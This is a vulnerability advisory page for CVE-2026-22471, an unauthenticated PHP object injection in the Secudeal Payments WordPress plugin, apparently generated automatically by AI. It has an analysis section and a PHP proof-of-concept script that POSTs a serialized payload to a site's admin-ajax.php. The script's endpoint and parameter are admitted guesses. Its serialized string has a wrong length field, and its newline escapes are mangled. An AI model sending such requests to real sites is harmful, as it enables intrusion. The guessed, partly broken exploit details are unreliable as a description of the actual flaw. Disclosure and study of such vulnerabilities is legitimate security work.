Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22471: Secudeal Payments for Ecommerce <= 1.1 – Unauthenticated PHP Object Injection (secudeal-payments-for-ecommerce)

CVE ID CVE-2026-22471
Plugin secudeal-payments-for-ecommerce
Severity High (CVSS 8.1)
CWE 502
Vulnerable Version 1.1
Patched Version —
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22471 (metadata-based):
This vulnerability is an unauthenticated PHP object injection in the Secudeal Payments for Ecommerce WordPress plugin. The root cause is deserialization of untrusted input without proper validation or sanitization. The CWE-502 classification confirms the plugin passes user-controlled data to an unserialize() function. The CVSS vector indicates a network attack with high confidentiality, integrity, and availability impact, but with high attack complexity. This suggests exploitation requires a specific, non-default condition.
The vulnerability description states no known POP chain exists within the plugin itself. Exploitation is contingent on a usable gadget chain being present via another installed plugin or theme. Without such a chain, the injection may cause a PHP error but not arbitrary code execution. The high attack complexity (AC:H) in the CVSS score reflects this dependency on external components.
Atomic Edge research infers the attack vector is likely a WordPress AJAX endpoint or a REST API endpoint registered by the plugin. The plugin slug ‘secudeal-payments-for-ecommerce’ suggests AJAX actions may be prefixed with ‘secudeal_’. A user-supplied parameter, such as a POST variable containing a serialized object, is passed directly to unserialize(). The lack of authentication or nonce verification enables unauthenticated access, consistent with the CVSS PR:N rating.
A fix would require removing the unserialize() call or implementing strict validation. The developer should replace the function with a safe alternative like json_decode() with proper type checking, or implement an allowed classes list if using PHP 7+ unserialize() options. Input validation and a capability check are also necessary.
Successful exploitation with a suitable POP chain could lead to arbitrary file deletion, sensitive data exposure, or remote code execution. This would grant an attacker full control over the WordPress site.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22471 - Secudeal Payments for Ecommerce <= 1.1 - Unauthenticated PHP Object Injection
<?php
/**
 * Proof of Concept for CVE-2026-22471.
 * This script demonstrates unauthenticated PHP object injection.
 * The exact vulnerable endpoint and parameter are inferred from WordPress plugin patterns.
 * A generic serialized payload is used. A real exploit requires a viable POP chain.
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // Configurable target

// Inferred AJAX action based on plugin slug. This is an educated guess.
$inferred_action = 'secudeal_process_payment';

// Construct a basic serialized payload.
// This payload triggers a __destruct() or __wakeup() method if a suitable class exists.
// In a real attack, this would be replaced with a crafted POP chain payload.
$serialized_payload = 'O:8:"stdClass":1:{s:4:"test";s:13:"POP_required";}';

// Prepare POST data
$post_data = array(
    'action' => $inferred_action, // The WordPress AJAX action hook
    'data'   => $serialized_payload // Inferred vulnerable parameter name
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "Target: $target_urln";
echo "POST Data: " . print_r($post_data, true) . "n";
echo "HTTP Code: $http_coden";
if ($response !== false) {
    echo "Response (first 500 chars): " . substr($response, 0, 500) . "n";
} else {
    echo "Request failed.n";
}

// Note: A successful exploitation response varies.
// It may include error messages, unexpected output, or no visible change.
?>

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